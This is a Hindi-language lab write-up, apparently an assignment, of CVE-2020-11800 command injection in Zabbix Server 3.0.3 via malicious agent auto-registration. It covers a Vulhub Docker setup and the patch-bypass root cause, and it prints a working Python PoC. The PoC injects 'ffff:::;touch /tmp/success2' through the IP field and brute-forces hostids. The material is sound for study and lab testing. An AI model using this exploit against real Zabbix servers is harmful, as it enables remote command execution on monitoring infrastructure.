
CVE-2020-11800 के लिए PoC एक्सप्लॉइट — दुर्भावनापूर्ण एजेंट ऑटो-रजिस्ट्रेशन के माध्यम से Zabbix Server में कमांड इंजेक्शन, जिसमें Python-आधारित पेलोड डिलीवरी और होस्ट ID ब्रूट-फोर्सिंग शामिल है।
असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(आवश्यक)” से चिह्नित किया गया है।
यह पर्यावरण Vulhub द्वारा प्रदान की गई कमजोर Zabbix Server इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।
FROM vulhub/zabbix:3.0.3-server
Dockerfile कमजोर Zabbix 3.0.3 सर्वर पर्यावरण का उपयोग करके एक स्थानीय इमेज बनाता है। निर्माण प्रक्रिया के दौरान कोई अतिरिक्त पैकेज या कॉन्फ़िगरेशन नहीं जोड़ा गया।
कमजोर पर्यावरण को Docker Compose का उपयोग करके कॉन्फ़िगर किया गया है।
पर्यावरण में चार सेवाएँ शामिल हैं:
server सेवा को Dockerfile का उपयोग करके स्थानीय रूप से बनाया गया है:
server:
build: .
image: cve-2020-11800-server
MySQL कंटेनर वॉल्यूम माउंटिंग का उपयोग करके src/ निर्देशिका से SQL प्रारंभिकरण फ़ाइलों को स्वचालित रूप से आयात करता है:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
यह कंटेनर शुरू होने पर डेटाबेस स्कीमा और प्रारंभिक Zabbix डेटा को स्वचालित रूप से लोड करने की अनुमति देता है।
पर्यावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
ब्राउज़र के माध्यम से सुलभ वेब-आधारित प्रबंधन इंटरफ़ेस प्रदान करता है।
व्यवस्थापक इस इंटरफ़ेस के माध्यम से स्वतः-पंजीकरण कॉन्फ़िगर करता है और निगरानी-संबंधी कार्यों को निष्पादित करता है।
इसके लिए उत्तरदायी मुख्य घटक:
कमांड इंजेक्शन भेद्यता इस कंटेनर के अंदर ट्रिगर होती है।
निगरानी किए गए होस्ट के रूप में कार्य करता है और Zabbix Server के साथ संचार करता है।
एक्सप्लॉइट एजेंट पंजीकरण प्रक्रिया के दौरान स्वतः-पंजीकरण तंत्र का दुरुपयोग करता है।
Zabbix कॉन्फ़िगरेशन डेटा, होस्ट जानकारी और निगरानी-संबंधी डेटा संग्रहीत करता है।
| सेवा | इमेज | संस्करण |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
यह पर्यावरण Vulhub द्वारा प्रदान किए गए कमजोर Zabbix 3.0.3 पर्यावरण पर आधारित है।
CVE-2020-11800, Zabbix Server Active Proxy Trapper कार्यक्षमता में एक कमांड इंजेक्शन भेद्यता है।
यह भेद्यता इसलिए मौजूद है क्योंकि CVE-2017-2824 के लिए पैच अधूरा था। एक हमलावर IPv6-शैली पेलोड का उपयोग करके मूल पैच को बायपास कर सकता है और Zabbix Server पर मनमाने कमांड निष्पादित कर सकता है।
यह भेद्यता स्वतः-पंजीकरण प्रक्रिया के दौरान ट्रिगर होती है जब सर्वर उपयोगकर्ता-नियंत्रित होस्ट जानकारी संसाधित करता है।
भेद्यता का मूल कारण शेल कमांड के अंदर उपयोगकर्ता-नियंत्रित इनपुट की असुरक्षित हैंडलिंग है।
स्क्रिप्ट निष्पादन के दौरान, Zabbix Server पंजीकृत होस्ट IP मान का उपयोग करके निम्न जैसे कमांड का निर्माण करता है:
ping <host_ip>
सामान्य परिस्थितियों में:
ping 127.0.0.1
हालाँकि, यदि कोई हमलावर निम्नलिखित पेलोड का उपयोग करके होस्ट पंजीकृत करता है:
ffff:::;touch /tmp/success2
शेल द्वारा निष्पादित अंतिम कमांड बन जाता है:
ping ffff:::;touch /tmp/success2
चूँकि सेमीकोलन (;) शेल कमांड विभाजक के रूप में कार्य करता है, शेल इनपुट को दो अलग-अलग कमांड के रूप में व्याख्या करता है:
ping ffff:::
touch /tmp/success2
परिणामस्वरूप, मनमाना कमांड निष्पादन संभव हो जाता है।
CVE-2017-2824 के लिए मूल पैच ने दुर्भावनापूर्ण इनपुट मानों को प्रतिबंधित करने का प्रयास किया।
हालाँकि, सत्यापन तर्क IPv6-शैली इनपुट को ठीक से संभाल नहीं पाया।
पेलोड:
ffff:::;touch /tmp/success2
मौजूदा सत्यापन तर्क को बायपास करने के लिए एक IPv6-जैसा उपसर्ग (ffff:::) का उपयोग करता है, साथ ही शेल मेटाकैरेक्टर इंजेक्ट करता है।
यह हमलावरों को पिछले पैच को बायपास करने और कमांड इंजेक्शन भेद्यता का शोषण जारी रखने की अनुमति देता है।
शोषण प्रक्रिया निम्नलिखित क्रम में होती है:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
हमलावर पहले एक क्राफ्टेड IP फ़ील्ड युक्त दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है।
होस्ट पंजीकृत होने के बाद, Zabbix Server संग्रहीत होस्ट IP मान का उपयोग करके एक निगरानी स्क्रिप्ट निष्पादित करता है।
इस प्रक्रिया के दौरान, दुर्भावनापूर्ण पेलोड की व्याख्या शेल द्वारा की जाती है, जिससे मनमाना कमांड निष्पादन होता है।
एक्सप्लॉइट हमलावरों को Zabbix Server प्रक्रिया के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देता है।
इस वातावरण में, सफल शोषण ने सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल बनाई:
/tmp/success2
यह पुष्टि करता है कि इंजेक्ट किए गए शेल कमांड सफलतापूर्वक निष्पादित किए गए।
वास्तविक वातावरण में, सफल शोषण हमलावरों को अनुमति दे सकता है:
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि निगरानी सर्वरों को अक्सर कई आंतरिक सिस्टम और बुनियादी ढांचे के घटकों की दृश्यता होती है।
प्रूफ ऑफ कॉन्सेप्ट (PoC) को Python में लिखा गया था और यह TCP पोर्ट 10051 के माध्यम से सीधे Zabbix Server के साथ संचार करता है।
PoC निम्नलिखित क्रियाएँ करता है:
hostid मानों को ब्रूट-फोर्स करता हैimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
इस PoC में उपयोग किया गया पेलोड है:
ffff:::;touch /tmp/success2
| भाग | उद्देश्य |
|---|---|
ffff::: | सत्यापन बायपास के लिए उपयोग किया जाने वाला IPv6-जैसा उपसर्ग |
; | शेल कमांड विभाजक |
touch /tmp/success2 | सर्वर पर निष्पादित मनमाना कमांड |
पेलोड इस तथ्य का दुरुपयोग करता है कि सर्वर उपयोगकर्ता-नियंत्रित IP मानों को शेल कमांड में अनुचित रूप से जोड़ता है।
पेलोड को स्वतः-पंजीकरण प्रक्रिया के दौरान ip फ़ील्ड के माध्यम से भेजा जाता है।
PoC द्वारा भेजा गया पहला अनुरोध एक दुर्भावनापूर्ण होस्ट पंजीकृत करने का प्रयास करता है।
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
पंजीकरण के बाद, PoC एक मान्य hostid खोजने का प्रयास करता है।